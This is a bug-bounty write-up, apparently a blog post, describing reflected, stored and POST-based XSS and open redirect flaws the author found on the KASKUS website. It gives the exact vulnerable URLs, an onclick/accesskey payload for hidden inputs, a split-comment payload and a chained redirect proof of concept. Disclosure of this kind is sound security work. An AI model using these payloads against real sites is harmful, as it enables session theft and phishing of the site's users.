This time, I’d like to share my bug-hunting experience on the KASKUS website. I’ve discovered several bugs, including POST-based XSS, Reflected XSS, Stored XSS, and Open Redirect Vulnerabilities.
Recon
The first step I took was reconnaissance, starting with gathering subdomains for the KASKUS site. I used sublist3r to collect these subdomains.
Once I had collected all the subdomains, I saved them into a text file and began checking each one individually.
I started with the main domain, www.kaskus.co.id, and used Links-Crawler to discover URLs or URLs with unique parameters.
Reflected XSS
The first bug I discovered was Reflected XSS. After using Links-Crawler, I came across the following URL:
https://www.kaskus.co.id/post_reply/{{thread-uid}}/?order=1
I tried modifying the order parameter, like so:
https://www.kaskus.co.id/post_reply/{{thread-uid}}/?order=1234">
Response,
So, I tried adding an XSS payload:
https://www.kaskus.co.id/post_reply/{{thread-uid}}/?order=1234"><svg/onload=alert(1)>
Unfortunately, the response was negative.
Since the order parameter was part of a hidden input, I attempted using the onclick=""
and accesskey=""
attributes for XSS:
Request:
https://www.kaskus.co.id/post_reply/{{thread-uid}}/?order=1234"/onclick="alert(document.domain)"/accesskey="x
Response,
When I opened the page and pressed ALT + SHIFT + X on my keyboard, the alert notification popped up, confirming the vulnerability.
Stored XSS
The second bug I found was Stored XSS, still on the domain https://www.kaskus.co.id. On the page https://www.kaskus.co.id/user/editprofile, there is a form for updating your bio. I tested it by inserting a simple XSS payload like this:
helloworld"><////
Response,
The server’s response was as expected, but when I tried to insert this payload:
<svg/onload=alert(1)>
The response was the same as the previous Reflected XSS example, so I used the same method with the onclick=""
and accesskey=""
attributes:
Payload:
helloworld"/onclick="alert(document.domain)"/accesskey="x
When visiting the profile page https://www.kaskus.co.id/@{username}/ and pressing ALT + SHIFT + X on the keyboard, the alert notification appeared again, confirming a Stored XSS vulnerability.
POST-based XSS
Next, I found a POST-based XSS Vulnerability on the KASKUS subdomain https://fjb.kaskus.co.id/.
When visiting https://fjb.kaskus.co.id/sell, there’s a form for posting products/items. The attribute and value parameters in the form weren’t properly encoded, and since the character count for both parameters was limited, I used the following payload:
- Attribute Parameter:
"onclick='/*
- Value Parameter:
*/alert(1)'
The response:
POST-based XSS confirmed.
Open Redirect
The last vulnerability I discovered was an Open Redirect vulnerability on both www.kaskus.co.id and fjb.kaskus.co.id. Using Links-Crawler, I found some interesting URLs.
When accessing:
https://fjb.kaskus.co.id/user/switchtomobile/?url=/hello
It redirects to:
https://fjb.m.kaskus.co.id/hello
However, when I removed the slash character from the url parameter:
https://fjb.kaskus.co.id/user/switchtomobile/?url=hello
The page redirected to:
https://fjb.m.kaskus.co.idhello
This behavior is unusual because the URL should have been:
https://fjb.m.kaskus.co.id/hello
In such cases, we can insert any domain into the url parameter, and the fjb.m.kaskus.co.id subdomain will become part of the domain we inserted into the parameter. Here’s an example:
https://fjb.kaskus.co.id/user/switchtomobile/?url=.rizal.ninja ==> https://fjb.m.kaskus.co.id.rizal.ninja
After re-checking with Links-Crawler, I discovered two URLs with the same Open Redirect vulnerability:
https://fjb.kaskus.co.id/user/switchtomobile/?url=.rizal.ninja ==> https://fjb.m.kaskus.co.id.rizal.ninja
https://www.kaskus.co.id/user/switchtomobile/?url=.rizal.ninja ==> https://m.kaskus.co.id.rizal.ninja
Another Open Redirect bug I found was on the URL:
https://www.kaskus.co.id/redirect?url=
If you insert a domain like *.kaskus.co.id into the url parameter, the page will immediately redirect to that domain. However, if the domain is not kaskus.co.id, it won’t redirect and will show a page like this:
In this case, we can use the PoC (Proof of Concept) from the first Open Redirect vulnerability as a payload in the second one:
https://www.kaskus.co.id/redirect?url=https://fjb.kaskus.co.id/user/switchtomobile/?url=.rizal.ninja ==> https://fjb.kaskus.co.id/user/switchtomobile/?url=.rizal.ninja ==> https://fjb.m.kaskus.co.id.rizal.ninja
That’s all for now. I hope this report helps highlight some vulnerabilities I found on KASKUS. While these issues may seem minor, they pose potential risks for users and should be addressed for a safer browsing experience.
#HappyHacking
Leave a Reply